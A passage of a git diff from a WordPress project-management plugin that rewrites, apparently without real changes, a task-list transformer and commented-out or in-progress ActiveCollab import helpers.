$item->lists_tasks_count->completed_task_ids ) ) { + return count( $item->lists_tasks_count->completed_task_ids ); + } + + return 0; + } + + public function get_total_incomplete_tasks( $item ) { + if ( empty( $item->lists_tasks_count ) ) return 0; + if ( empty( $item->lists_tasks_count->incompleted_task_ids ) ) return 0; + + if ( is_array( $item->lists_tasks_count->incompleted_task_ids ) ) { + return count( $item->lists_tasks_count->incompleted_task_ids ); + } + + return 0; + } +} diff --git a/src/Task_List/Transformers/Task_List_Transformer.php b/src/Task_List/Transformers/Task_List_Transformer.php index 767093552..5464480ad 100644 --- a/src/Task_List/Transformers/Task_List_Transformer.php +++ b/src/Task_List/Transformers/Task_List_Transformer.php @@ -1,200 +1,200 @@ - (int) $item->id, - 'title' => $item->title, - 'description' => pm_filter_content_url( $item->description ), - 'order' => (int) $item->order, - 'status' => $item->status, - 'created_at' => format_date( $item->created_at ), - 'meta' => $this->meta( $item ), - 'extra' => true, - 'project_id' => $item->project_id - - ]; - - return apply_filters( 'pm_task_list_transform', $data, $item ); - } - - /** - * Getter for defaultIncludes. - * - * @return array - */ - public function getDefaultIncludes() - { - return apply_filters( "pm_task_list_transformer_default_includes", $this->defaultIncludes ); - } - - public function meta( Task_List $item ) { - $meta = $item->metas()->get()->toArray(); - $meta = wp_list_pluck( $meta, 'meta_value', 'meta_key' ); - - return array_merge( $meta, [ - 'total_tasks' => $item->tasks( $item->project_id )->count(), - 'total_complete_tasks' => $item->tasks( $item->project_id )->where( 'status', Task::COMPLETE )->count(), - 'total_incomplete_tasks' => $item->tasks( $item->project_id )->where( 'status', Task::INCOMPLETE )->count(), - 'total_comments' => $item->comments()->count(), - 'totla_files' => $item->files()->count(), - 'total_assignees' => $item->assignees()->count(), - ] ); - } - - public function includeAssignees( Task_List $item ) { - $assignees = $item->assignees; - - return $this->collection( $assignees, new User_Transformer ); - } - - public function includeComments( Task_List $item ) { - $page = isset( $_GET['comment_page'] ) ? intval($_GET['comment_page']) : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $comments = $item->comments() - ->orderBy( 'created_at', 'ASC' ) - ->paginate( pm_config('app.comment_per_page') ); - - $comment_collection = $comments->getCollection(); - $resource = $this->collection( $comment_collection, new Comment_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $comments ) ); - - return $resource; - } - - public function includeFiles( Task_List $item ) { - $page = isset( $_GET['file_page'] ) ? intval($_GET['file_page']) : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $files = $item->files()->paginate( 10 ); - - $file_collection = $files->getCollection(); - $resource = $this->collection( $file_collection, new File_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $files ) ); - - return $resource; - } - - public function includeMilestone( Task_List $item ) { - $milestone = $item->milestones->first(); - - if ( $milestone ) { - return $this->item( $milestone, new Milestone_Transformer ); - } - - return null; - } - - public function includeTasks( Task_List $item ) { - $tasks = $item->tasks; - return $this->collection( $tasks, new Task_Transformer ); - } - - - public function includeCompleteTasks( Task_List $item ) { - $page = isset( $_GET['complete_task_page'] ) ? intval($_GET['complete_task_page']) : 1; - $per_page_count = isset( $_GET['complete_task_per_page'] ) ? intval($_GET['complete_task_per_page']) : false; - - $per_page = pm_get_setting( 'complete_tasks_per_page' ); - $per_page = $per_page ? $per_page : 5; - - if ( intval( $per_page_count ) ) { - $per_page = $per_page_count; - } - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $tasks = $item->tasks() - ->where( 'status', 1 ); - - $tasks = apply_filters( 'pm_complete_task_query', $tasks, $item->project_id, $item ); - if ( $per_page == '-1' ) { - $per_page = $tasks->count(); - } - $tasks = $tasks->orderBy( pm_tb_prefix() . 'pm_boardables.order', 'ASC' ) - ->paginate( $per_page ); - - return $this->make_paginated_tasks( $tasks ); - } - - public function includeIncompleteTasks( Task_List $item ) { - $page = isset( $_GET['incomplete_task_page'] ) ? intval( $_GET['incomplete_task_page'] ) : 1; - $per_page_count = isset( $_GET['incomplete_task_per_page'] ) ? intval($_GET['incomplete_task_per_page']) : false; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $per_page = pm_get_setting( 'incomplete_tasks_per_page' ); - $per_page = $per_page ? $per_page : 5; - - if ( intval( $per_page_count ) ) { - $per_page = $per_page_count; - } - - $tasks = $item->tasks() - ->where( 'status', 0 ); - $tasks = apply_filters( 'pm_incomplete_task_query', $tasks, $item->project_id, $item ); - - if ( $per_page == '-1' ) { - $per_page = $tasks->count(); - } - - $tasks = $tasks->orderBy( pm_tb_prefix() . 'pm_boardables.order', 'ASC' ) - ->paginate( $per_page ); - return $this->make_paginated_tasks( $tasks ); - } - - private function make_paginated_tasks( $tasks ) { - $task_collection = $tasks->getCollection(); - $resource = $this->collection( $task_collection, new Task_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $tasks ) ); - - return $resource; - } -} + (int) $item->id, + 'title' => $item->title, + 'description' => pm_filter_content_url( $item->description ), + 'order' => (int) $item->order, + 'status' => $item->status, + 'created_at' => format_date( $item->created_at ), + 'meta' => $this->meta( $item ), + 'extra' => true, + 'project_id' => $item->project_id + + ]; + + return apply_filters( 'pm_task_list_transform', $data, $item ); + } + + /** + * Getter for defaultIncludes. + * + * @return array + */ + public function getDefaultIncludes() + { + return apply_filters( "pm_task_list_transformer_default_includes", $this->defaultIncludes ); + } + + public function meta( Task_List $item ) { + $meta = $item->metas()->get()->toArray(); + $meta = wp_list_pluck( $meta, 'meta_value', 'meta_key' ); + + return array_merge( $meta, [ + 'total_tasks' => $item->tasks( $item->project_id )->count(), + 'total_complete_tasks' => $item->tasks( $item->project_id )->where( 'status', Task::COMPLETE )->count(), + 'total_incomplete_tasks' => $item->tasks( $item->project_id )->where( 'status', Task::INCOMPLETE )->count(), + 'total_comments' => $item->comments()->count(), + 'totla_files' => $item->files()->count(), + 'total_assignees' => $item->assignees()->count(), + ] ); + } + + public function includeAssignees( Task_List $item ) { + $assignees = $item->assignees; + + return $this->collection( $assignees, new User_Transformer ); + } + + public function includeComments( Task_List $item ) { + $page = isset( $_GET['comment_page'] ) ? intval($_GET['comment_page']) : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $comments = $item->comments() + ->orderBy( 'created_at', 'ASC' ) + ->paginate( pm_config('app.comment_per_page') ); + + $comment_collection = $comments->getCollection(); + $resource = $this->collection( $comment_collection, new Comment_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $comments ) ); + + return $resource; + } + + public function includeFiles( Task_List $item ) { + $page = isset( $_GET['file_page'] ) ? intval($_GET['file_page']) : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $files = $item->files()->paginate( 10 ); + + $file_collection = $files->getCollection(); + $resource = $this->collection( $file_collection, new File_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $files ) ); + + return $resource; + } + + public function includeMilestone( Task_List $item ) { + $milestone = $item->milestones->first(); + + if ( $milestone ) { + return $this->item( $milestone, new Milestone_Transformer ); + } + + return null; + } + + public function includeTasks( Task_List $item ) { + $tasks = $item->tasks; + return $this->collection( $tasks, new Task_Transformer ); + } + + + public function includeCompleteTasks( Task_List $item ) { + $page = isset( $_GET['complete_task_page'] ) ? intval($_GET['complete_task_page']) : 1; + $per_page_count = isset( $_GET['complete_task_per_page'] ) ? intval($_GET['complete_task_per_page']) : false; + + $per_page = pm_get_setting( 'complete_tasks_per_page' ); + $per_page = $per_page ? $per_page : 5; + + if ( intval( $per_page_count ) ) { + $per_page = $per_page_count; + } + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $tasks = $item->tasks() + ->where( 'status', 1 ); + + $tasks = apply_filters( 'pm_complete_task_query', $tasks, $item->project_id, $item ); + if ( $per_page == '-1' ) { + $per_page = $tasks->count(); + } + $tasks = $tasks->orderBy( pm_tb_prefix() . 'pm_boardables.order', 'ASC' ) + ->paginate( $per_page ); + + return $this->make_paginated_tasks( $tasks ); + } + + public function includeIncompleteTasks( Task_List $item ) { + $page = isset( $_GET['incomplete_task_page'] ) ? intval( $_GET['incomplete_task_page'] ) : 1; + $per_page_count = isset( $_GET['incomplete_task_per_page'] ) ? intval($_GET['incomplete_task_per_page']) : false; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $per_page = pm_get_setting( 'incomplete_tasks_per_page' ); + $per_page = $per_page ? $per_page : 5; + + if ( intval( $per_page_count ) ) { + $per_page = $per_page_count; + } + + $tasks = $item->tasks() + ->where( 'status', 0 ); + $tasks = apply_filters( 'pm_incomplete_task_query', $tasks, $item->project_id, $item ); + + if ( $per_page == '-1' ) { + $per_page = $tasks->count(); + } + + $tasks = $tasks->orderBy( pm_tb_prefix() . 'pm_boardables.order', 'ASC' ) + ->paginate( $per_page ); + return $this->make_paginated_tasks( $tasks ); + } + + private function make_paginated_tasks( $tasks ) { + $task_collection = $tasks->getCollection(); + $resource = $this->collection( $task_collection, new Task_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $tasks ) ); + + return $resource; + } +} diff --git a/src/Tools/Controllers/ActivecolController.php b/src/Tools/Controllers/ActivecolController.php index e2ce89ef3..399b540f5 100644 --- a/src/Tools/Controllers/ActivecolController.php +++ b/src/Tools/Controllers/ActivecolController.php @@ -1,122 +1,122 @@ -get_param('user'); -// $password = $request->get_param('pass'); -// try { -// $activeColAuth = new Cloud( -// 'weDevs LLC', -// 'WPPM', -// $username, -// $password -// ); - -// return rest_ensure_response($activeColAuth->getAccounts()); -// } catch( Exception $e ) { -// return rest_ensure_response(array('error'=>$e->getMessage())); -// } -// } - -// public function tokenAc(WP_REST_Request $request){ -// $status = pm_get_setting('activecol_formatted'); -// if(empty($status)){ -// pm_set_settings('activecol_formatted', 0); -// } -// $username = $request->get_param('user'); -// $password = $request->get_param('pass'); -// $acID = $request->get_param('accid'); -// try { -// $activeColAuth = new Cloud( -// 'weDevs LLC', -// 'WPPM', -// $username, -// $password -// ); -// $token = $activeColAuth->issueToken((int) $acID); -// $accountCred = array('url'=>$token->getUrl(), 'token'=>$token->getToken()); -// $aclFormatter = new FormatActiveCollab(); -// if($status == '0'){ -// $aclFormatter->push_to_queue('acl'); -// $aclFormatter->save()->dispatch(); -// return rest_ensure_response(array('info' => "Your ActiveCollab Projects are Formatting in Background Please Come Back Later")); -// } else{ -// return rest_ensure_response($accountCred); -// } -// } catch( Exception $e ) { -// return rest_ensure_response(array('error'=>$e->getMessage())); -// } - -// } - -// public function projectsAC(){ - -// $status = pm_get_setting('activecol_formatted'); -// if(empty($status)){ -// pm_set_settings('activecol_formatted', 0); -// } - -// $aclFormatter = new FormatActiveCollab(); -// if($status == '0'){ -// $aclFormatter->push_to_queue('acl'); -// $aclFormatter->save()->dispatch(); -// } - -// $credentials = pm_get_setting('activecol_credentials'); -// try{ -// $token = new Token($credentials['token'], $credentials['url']); -// $client = new Client($token); -// $response = $client->get('projects')->getJson(); -// return rest_ensure_response($response); -// }catch (Exception $e){ -// return rest_ensure_response(array('error'=>$e->getMessage())); -// } - -// } - -// public function showSaved(){ -// $saved = get_option('imported_from_activecol'); -// return rest_ensure_response($saved); -// } - -// public function showInProcess(){ -// $inProcess = get_option('importing_from_activecol'); -// return rest_ensure_response($inProcess); -// } - -// public function import(WP_REST_Request $request){ - -// $projects = $request->get_param('aclProjects'); -// $importAcl = new ImportActivecollab(); -// update_option('importing_from_activecol', $projects); -// foreach ( $projects as $project ) { -// $importAcl->push_to_queue($project); -// } -// $importAcl->save()->dispatch(); -// return array('msg' => 'Your ActiveCollab Projects are under process to import ... '); - -// // $settings = pm_get_setting('activecol_credentials'); -// // $acl = new PM_ActiveCol($settings['url'], $settings['token']); -// // return $acl->getProject($projects[0]); - -// } - - -// } +get_param('user'); +// $password = $request->get_param('pass'); +// try { +// $activeColAuth = new Cloud( +// 'weDevs LLC', +// 'WPPM', +// $username, +// $password +// ); + +// return rest_ensure_response($activeColAuth->getAccounts()); +// } catch( Exception $e ) { +// return rest_ensure_response(array('error'=>$e->getMessage())); +// } +// } + +// public function tokenAc(WP_REST_Request $request){ +// $status = pm_get_setting('activecol_formatted'); +// if(empty($status)){ +// pm_set_settings('activecol_formatted', 0); +// } +// $username = $request->get_param('user'); +// $password = $request->get_param('pass'); +// $acID = $request->get_param('accid'); +// try { +// $activeColAuth = new Cloud( +// 'weDevs LLC', +// 'WPPM', +// $username, +// $password +// ); +// $token = $activeColAuth->issueToken((int) $acID); +// $accountCred = array('url'=>$token->getUrl(), 'token'=>$token->getToken()); +// $aclFormatter = new FormatActiveCollab(); +// if($status == '0'){ +// $aclFormatter->push_to_queue('acl'); +// $aclFormatter->save()->dispatch(); +// return rest_ensure_response(array('info' => "Your ActiveCollab Projects are Formatting in Background Please Come Back Later")); +// } else{ +// return rest_ensure_response($accountCred); +// } +// } catch( Exception $e ) { +// return rest_ensure_response(array('error'=>$e->getMessage())); +// } + +// } + +// public function projectsAC(){ + +// $status = pm_get_setting('activecol_formatted'); +// if(empty($status)){ +// pm_set_settings('activecol_formatted', 0); +// } + +// $aclFormatter = new FormatActiveCollab(); +// if($status == '0'){ +// $aclFormatter->push_to_queue('acl'); +// $aclFormatter->save()->dispatch(); +// } + +// $credentials = pm_get_setting('activecol_credentials'); +// try{ +// $token = new Token($credentials['token'], $credentials['url']); +// $client = new Client($token); +// $response = $client->get('projects')->getJson(); +// return rest_ensure_response($response); +// }catch (Exception $e){ +// return rest_ensure_response(array('error'=>$e->getMessage())); +// } + +// } + +// public function showSaved(){ +// $saved = get_option('imported_from_activecol'); +// return rest_ensure_response($saved); +// } + +// public function showInProcess(){ +// $inProcess = get_option('importing_from_activecol'); +// return rest_ensure_response($inProcess); +// } + +// public function import(WP_REST_Request $request){ + +// $projects = $request->get_param('aclProjects'); +// $importAcl = new ImportActivecollab(); +// update_option('importing_from_activecol', $projects); +// foreach ( $projects as $project ) { +// $importAcl->push_to_queue($project); +// } +// $importAcl->save()->dispatch(); +// return array('msg' => 'Your ActiveCollab Projects are under process to import ... '); + +// // $settings = pm_get_setting('activecol_credentials'); +// // $acl = new PM_ActiveCol($settings['url'], $settings['token']); +// // return $acl->getProject($projects[0]); + +// } + + +// } diff --git a/src/Tools/Helpers/FormatActiveCollab.php b/src/Tools/Helpers/FormatActiveCollab.php index 60f97af13..ec133ed87 100644 --- a/src/Tools/Helpers/FormatActiveCollab.php +++ b/src/Tools/Helpers/FormatActiveCollab.php @@ -1,232 +1,232 @@ -status = pm_get_setting('activecol_formatted'); -// error_log($this->status); -// if(!$this->status){ -// pm_set_settings('activecol_formatted', 0); -// } -// } - -// public function formatData(){ - -// $this->credentials = pm_get_setting('activecol_credentials'); - -// if(!$this->credentials){ -// pm_set_settings('activecol_credentials', array('token' => '', 'url' => '', 'accID' => '')); -// } else { -// if(array_key_exists('token', $this->credentials)) { -// $this->token = new Token($this->credentials['token'],$this->credentials['url']); -// $this->client = new Client($this->token); -// } - -// } -// $this->fd = new FileData(); -// $aclprojects = $this->client->get('projects')->getJson(); - -// foreach ($aclprojects as $aclproject){ -// error_log($aclproject['name']); -// $project_details = $this->client->get('projects/'.$aclproject['id'].'/tasks')->getJson(); -// $project = $project_details['project']; -// $pm_project['id'] = $project['id']; -// $pm_project['title'] = $project['name']; -// $pm_project['description'] = $project['body']; -// $pm_project['status'] = ($project['is_completed'] == '')? 0 : 1; -// $pm_project['budget'] = $project['budget']; -// $pm_project['pay_rate'] = 0; -// $pm_project['est_completion_date'] = null; -// $pm_project['color_code'] = '#fcfcfc'; -// $pm_project['order'] = '2'; -// $pm_project['projectable_type'] = null; -// $pm_project['completed_at'] = empty($project['completed_on'])? null : Carbon::createFromTimestamp($project['updated_on'])->toDateTimeString(); -// $pm_project['created_by'] = $project['created_by_email']; -// $pm_project['updated_by'] = $project['updated_by_id']; -// $pm_project['created_at'] = Carbon::createFromTimestamp($project['created_on'])->toDateTimeString(); -// $pm_project['updated_at'] = empty($project['updated_on'])? null : Carbon::createFromTimestamp($project['updated_on'])->toDateTimeString(); -// // error_log(print_r($project['members'], true)); -// $pm_project['members'] = $this->getProjectMembers($project['members']); -// // error_log(print_r($project_details['task_lists'], true)); -// $pm_project['tasks_lists'] = $this->getProjectTaskLists($project_details['task_lists']); -// // error_log(print_r($project_details['tasks'], true)); -// $pm_project['tasks'] = $this->getProjectTasks($project_details['tasks']); - - -// $this->fd->save_contents('acl/active_collab_project_'.$project['id'].'.wppm', $pm_project); - -// error_log($pm_project['title']); -// } -// } - -// public function getProjectMembers($projectMembers){ -// $members = []; -// foreach ($projectMembers as $member){ -// $single = $this->client->get('/users/'.$member)->getJson(); -// $single_member['id'] = $single['single']['id']; -// $single_member['role'] = $single['single']['class']; -// $single_member['name'] = strtolower(str_replace(' ', '_', $single['single']['display_name'])); -// $single_member['email'] = $single['single']['email']; - -// array_push($members, $single_member); -// } -// return $members; -// } - -// public function getProjectTaskLists($projectTaskLists){ -// $tasklists = []; -// foreach ($projectTaskLists as $acTaskList){ -// $tl['id'] = $acTaskList['id']; -// $tl['title'] = $acTaskList['name']; -// $tl['created_by'] = $acTaskList['created_by_email']; -// $tl['created_at'] = Carbon::createFromTimestamp($acTaskList['created_on'])->toDateTimeString(); -// $tl['updated_at'] = empty($acTaskList['updated_on'])? null : Carbon::createFromTimestamp($acTaskList['updated_on'])->toDateTimeString(); - -// array_push($tasklists, $tl); -// } -// return $tasklists; -// } - -// public function getProjectTasks($projectTasks){ -// $tasks = []; -// foreach ($projectTasks as $acTask){ -// $task['id'] = $acTask['id']; -// $task['task_list_id'] = $acTask['task_list_id']; -// $task['assignee_id'] = $acTask['assignee_id']; -// $task['title'] = $acTask['name']; -// $task['status'] = 1; -// $task['description'] = $acTask['body']; -// $task['created_by_id'] = $acTask['created_by_email']; -// $task['created_by_name'] = $acTask['created_by_email']; -// $task['start_at'] = empty($acTask['start_on']) ? null : Carbon::createFromTimestamp($acTask['start_on'])->toDateTimeString(); -// $task['due_date'] = empty($acTask['due_on']) ? null : Carbon::createFromTimestamp($acTask['due_on'])->toDateTimeString(); -// $task['created_at'] = Carbon::createFromTimestamp($acTask['created_on'])->toDateTimeString(); -// $task['updated_at'] = empty($acTask['updated_on']) ? null : Carbon::createFromTimestamp($acTask['updated_on'])->toDateTimeString(); -// $task['comments'] = $this->getTasksComments($acTask['id']); -// $task['subtasks'] = $this->getProjectTasksSubs($acTask['project_id'] ,$acTask['id']); -// array_push($tasks, $task); -// } -// return $tasks; -// } - - -// public function getProjectTasksSubs($projectid,$taskid){ -// $subs = $this->client->get('projects/'.$projectid.'/tasks/'.$taskid.'/subtasks')->getJson(); -// $subtasks = []; -// foreach ($subs as $sub){ -// $subtask['id'] = $sub['id']; -// $subtask['title'] = $sub['name']; -// $subtask['assignee_id'] = $sub['assignee_id']; -// $subtask['status'] = $sub['is_completed']; -// $subtask['created_at'] = empty($sub['created_on']) ? null : Carbon::createFromTimestamp($sub['created_on'])->toDateTimeString(); -// $subtask['updated_at'] = empty($sub['updated_on']) ? null : Carbon::createFromTimestamp($sub['updated_on'])->toDateTimeString(); -// array_push($subtasks, $subtask); -// } -// return $subtasks; -// } - -// public function getTasksComments($taskid){ -// $taskcomments = $this->client->get('comments/task/'.$taskid)->getJson(); - -// $comments = []; -// foreach ($taskcomments as $taskscomment){ -// $name = explode(" ", $taskscomment['created_by_name']); -// $comment['id'] = $taskscomment['id']; -// $comment['content'] = $taskscomment['body']; -// $comment['commentable_type'] = 'task'; -// $comment['user_name'] = strtolower($name[0]); -// $comment['user_email'] = $taskscomment['created_by_email']; -// $comment['created_at'] = empty($taskscomment['created_on']) ? null : Carbon::createFromTimestamp($taskscomment['created_on'])->toDateTimeString(); -// $comment['updated_at'] = empty($taskscomment['updated_on']) ? null : Carbon::createFromTimestamp($taskscomment['updated_on'])->toDateTimeString(); -// array_push($comments, $comment); -// } -// return $comments; - -// } - - - -// /** -// * Task -// * -// * Override this method to perform any actions required on each -// * queue item. Return the modified item for further processing -// * in the next pass through. Or, return false to remove the -// * item from the queue. -// * -// * @param mixed $item Queue item to iterate over -// * -// * @return mixed -// */ -// protected function task( $item ) { -// if($item == 'acl'){ -// $this->formatData($this->projects); -// pm_set_settings('activecol_formatted', 1); -// } -// return false; -// } - -// /** -// * Complete -// * -// * Override if applicable, but ensure that the below actions are -// * performed, or, call parent::complete(). -// */ -// protected function complete() { -// parent::complete(); - -// // Show notice to user or perform some other arbitrary task... -// } - -// /** -// * Handle cron healthcheck -// * -// * Restart the background process if not already running -// * and data exists in the queue. -// */ -// public function handle_cron_healthcheck() { -// if ( $this->is_process_running() ) { -// // Background process already running. -// return; -// } - -// if ( $this->is_queue_empty() ) { -// // No data to process. -// $this->clear_scheduled_event(); -// return; -// } - -// $this->handle(); -// } - -// } +status = pm_get_setting('activecol_formatted'); +// error_log($this->status); +// if(!$this->status){ +// pm_set_settings('activecol_formatted', 0); +// } +// } + +// public function formatData(){ + +// $this->credentials = pm_get_setting('activecol_credentials'); + +// if(!$this->credentials){ +// pm_set_settings('activecol_credentials', array('token' => '', 'url' => '', 'accID' => '')); +// } else { +// if(array_key_exists('token', $this->credentials)) { +// $this->token = new Token($this->credentials['token'],$this->credentials['url']); +// $this->client = new Client($this->token); +// } + +// } +// $this->fd = new FileData(); +// $aclprojects = $this->client->get('projects')->getJson(); + +// foreach ($aclprojects as $aclproject){ +// error_log($aclproject['name']); +// $project_details = $this->client->get('projects/'.$aclproject['id'].'/tasks')->getJson(); +// $project = $project_details['project']; +// $pm_project['id'] = $project['id']; +// $pm_project['title'] = $project['name']; +// $pm_project['description'] = $project['body']; +// $pm_project['status'] = ($project['is_completed'] == '')? 0 : 1; +// $pm_project['budget'] = $project['budget']; +// $pm_project['pay_rate'] = 0; +// $pm_project['est_completion_date'] = null; +// $pm_project['color_code'] = '#fcfcfc'; +// $pm_project['order'] = '2'; +// $pm_project['projectable_type'] = null; +// $pm_project['completed_at'] = empty($project['completed_on'])? null : Carbon::createFromTimestamp($project['updated_on'])->toDateTimeString(); +// $pm_project['created_by'] = $project['created_by_email']; +// $pm_project['updated_by'] = $project['updated_by_id']; +// $pm_project['created_at'] = Carbon::createFromTimestamp($project['created_on'])->toDateTimeString(); +// $pm_project['updated_at'] = empty($project['updated_on'])? null : Carbon::createFromTimestamp($project['updated_on'])->toDateTimeString(); +// // error_log(print_r($project['members'], true)); +// $pm_project['members'] = $this->getProjectMembers($project['members']); +// // error_log(print_r($project_details['task_lists'], true)); +// $pm_project['tasks_lists'] = $this->getProjectTaskLists($project_details['task_lists']); +// // error_log(print_r($project_details['tasks'], true)); +// $pm_project['tasks'] = $this->getProjectTasks($project_details['tasks']); + + +// $this->fd->save_contents('acl/active_collab_project_'.$project['id'].'.wppm', $pm_project); + +// error_log($pm_project['title']); +// } +// } + +// public function getProjectMembers($projectMembers){ +// $members = []; +// foreach ($projectMembers as $member){ +// $single = $this->client->get('/users/'.$member)->getJson(); +// $single_member['id'] = $single['single']['id']; +// $single_member['role'] = $single['single']['class']; +// $single_member['name'] = strtolower(str_replace(' ', '_', $single['single']['display_name'])); +// $single_member['email'] = $single['single']['email']; + +// array_push($members, $single_member); +// } +// return $members; +// } + +// public function getProjectTaskLists($projectTaskLists){ +// $tasklists = []; +// foreach ($projectTaskLists as $acTaskList){ +// $tl['id'] = $acTaskList['id']; +// $tl['title'] = $acTaskList['name']; +// $tl['created_by'] = $acTaskList['created_by_email']; +// $tl['created_at'] = Carbon::createFromTimestamp($acTaskList['created_on'])->toDateTimeString(); +// $tl['updated_at'] = empty($acTaskList['updated_on'])? null : Carbon::createFromTimestamp($acTaskList['updated_on'])->toDateTimeString(); + +// array_push($tasklists, $tl); +// } +// return $tasklists; +// } + +// public function getProjectTasks($projectTasks){ +// $tasks = []; +// foreach ($projectTasks as $acTask){ +// $task['id'] = $acTask['id']; +// $task['task_list_id'] = $acTask['task_list_id']; +// $task['assignee_id'] = $acTask['assignee_id']; +// $task['title'] = $acTask['name']; +// $task['status'] = 1; +// $task['description'] = $acTask['body']; +// $task['created_by_id'] = $acTask['created_by_email']; +// $task['created_by_name'] = $acTask['created_by_email']; +// $task['start_at'] = empty($acTask['start_on']) ? null : Carbon::createFromTimestamp($acTask['start_on'])->toDateTimeString(); +// $task['due_date'] = empty($acTask['due_on']) ? null : Carbon::createFromTimestamp($acTask['due_on'])->toDateTimeString(); +// $task['created_at'] = Carbon::createFromTimestamp($acTask['created_on'])->toDateTimeString(); +// $task['updated_at'] = empty($acTask['updated_on']) ? null : Carbon::createFromTimestamp($acTask['updated_on'])->toDateTimeString(); +// $task['comments'] = $this->getTasksComments($acTask['id']); +// $task['subtasks'] = $this->getProjectTasksSubs($acTask['project_id'] ,$acTask['id']); +// array_push($tasks, $task); +// } +// return $tasks; +// } + + +// public function getProjectTasksSubs($projectid,$taskid){ +// $subs = $this->client->get('projects/'.$projectid.'/tasks/'.$taskid.'/subtasks')->getJson(); +// $subtasks = []; +// foreach ($subs as $sub){ +// $subtask['id'] = $sub['id']; +// $subtask['title'] = $sub['name']; +// $subtask['assignee_id'] = $sub['assignee_id']; +// $subtask['status'] = $sub['is_completed']; +// $subtask['created_at'] = empty($sub['created_on']) ? null : Carbon::createFromTimestamp($sub['created_on'])->toDateTimeString(); +// $subtask['updated_at'] = empty($sub['updated_on']) ? null : Carbon::createFromTimestamp($sub['updated_on'])->toDateTimeString(); +// array_push($subtasks, $subtask); +// } +// return $subtasks; +// } + +// public function getTasksComments($taskid){ +// $taskcomments = $this->client->get('comments/task/'.$taskid)->getJson(); + +// $comments = []; +// foreach ($taskcomments as $taskscomment){ +// $name = explode(" ", $taskscomment['created_by_name']); +// $comment['id'] = $taskscomment['id']; +// $comment['content'] = $taskscomment['body']; +// $comment['commentable_type'] = 'task'; +// $comment['user_name'] = strtolower($name[0]); +// $comment['user_email'] = $taskscomment['created_by_email']; +// $comment['created_at'] = empty($taskscomment['created_on']) ? null : Carbon::createFromTimestamp($taskscomment['created_on'])->toDateTimeString(); +// $comment['updated_at'] = empty($taskscomment['updated_on']) ? null : Carbon::createFromTimestamp($taskscomment['updated_on'])->toDateTimeString(); +// array_push($comments, $comment); +// } +// return $comments; + +// } + + + +// /** +// * Task +// * +// * Override this method to perform any actions required on each +// * queue item. Return the modified item for further processing +// * in the next pass through. Or, return false to remove the +// * item from the queue. +// * +// * @param mixed $item Queue item to iterate over +// * +// * @return mixed +// */ +// protected function task( $item ) { +// if($item == 'acl'){ +// $this->formatData($this->projects); +// pm_set_settings('activecol_formatted', 1); +// } +// return false; +// } + +// /** +// * Complete +// * +// * Override if applicable, but ensure that the below actions are +// * performed, or, call parent::complete(). +// */ +// protected function complete() { +// parent::complete(); + +// // Show notice to user or perform some other arbitrary task... +// } + +// /** +// * Handle cron healthcheck +// * +// * Restart the background process if not already running +// * and data exists in the queue. +// */ +// public function handle_cron_healthcheck() { +// if ( $this->is_process_running() ) { +// // Background process already running. +// return; +// } + +// if ( $this->is_queue_empty() ) { +// // No data to process. +// $this->clear_scheduled_event(); +// return; +// } + +// $this->handle(); +// } + +// } diff --git a/src/Tools/Helpers/ImportActivecollab.php b/src/Tools/Helpers/ImportActivecollab.php index 07fd5ae05..90e308c20 100644 --- a/src/Tools/Helpers/ImportActivecollab.php +++ b/src/Tools/Helpers/ImportActivecollab.php @@ -1,531 +1,531 @@ -after_load_wp(); - } - - public function after_load_wp() { - $this->credentials = pm_get_setting('activecol_credentials'); - if(!$this->credentials){ - pm_set_settings('activecol_credentials', array('token' => '', 'url' => '', 'accID' => '')); - } else { - if(array_key_exists('token', $this->credentials)) { - $this->activecol = new PM_ActiveCol($this->credentials['url'],$this->credentials['token']); - - } - $this->imported = get_option('imported_from_activecol'); - $this->importing = get_option('importing_from_activecol'); - if(!$this->imported){ - add_option('imported_from_activecol', array()); - } - if(!$this->importing){ - add_option('importing_from_activecol', array()); - } - } - - new FormatActiveCollab(); - - } - - /** - * Task - * - * Override this method to perform any actions required on each - * queue item. Return the modified item for further processing - * in the next pass through. Or, return false to remove the - * item from the queue. - * - * @param mixed $item Queue item to iterate over - * - * @return mixed - */ - protected function task( $item ) { - // Actions to perform - if(!in_array($item, $this->imported)) { - $this->fetchAndSaveactivecol($item); - array_push($this->imported, $item); - if (in_array($item, $this->importing)) { - $key = array_search($item, $this->importing); - unset($this->importing[$key]); - update_option('importing_from_activecol', $this->importing); - } - update_option('imported_from_activecol', $this->imported); - } - return false; - } - - /** - * Complete - * - * Override if applicable, but ensure that the below actions are - * performed, or, call parent::complete(). - */ - protected function complete() { - parent::complete(); - - // Show notice to user or perform some other arbitrary task... - } - - /** - * Handle cron healthcheck - * - * Restart the background process if not already running - * and data exists in the queue. - */ - public function handle_cron_healthcheck() { - if ( $this->is_process_running() ) { - // Background process already running. - return; - } - - if ( $this->is_queue_empty() ) { - // No data to process. - $this->clear_scheduled_event(); - return; - } - - $this->handle(); - } - - /** - * takes activecol board id and fetch all boards - * from API - * @param $project_id - */ - - public function fetchAndSaveactivecol($project_id) { - $fr = new FileData(); - $this->projectDetails = $fr->get_content('acl/active_collab_project_'.$project_id.'.wppm'); - $this->migrateProjectMembers($this->projectDetails['members'], $project_id); - $pm_project = new Project(); - $pm_project->title = $this->projectDetails['title']; - $pm_project->description = $this->projectDetails['description']; - $pm_project->status = $this->projectDetails['status']; - $pm_project->budget = $this->projectDetails['budget']; - $pm_project->pay_rate = $this->projectDetails['pay_rate']; - $pm_project->est_completion_date = $this->projectDetails['est_completion_date']; - $pm_project->color_code = $this->projectDetails['color_code']; - $pm_project->order = $this->projectDetails['order']; - $pm_project->projectable_type = $this->projectDetails['projectable_type']; - $pm_project->completed_at = $this->projectDetails['completed_at']; - $pm_project->created_by = 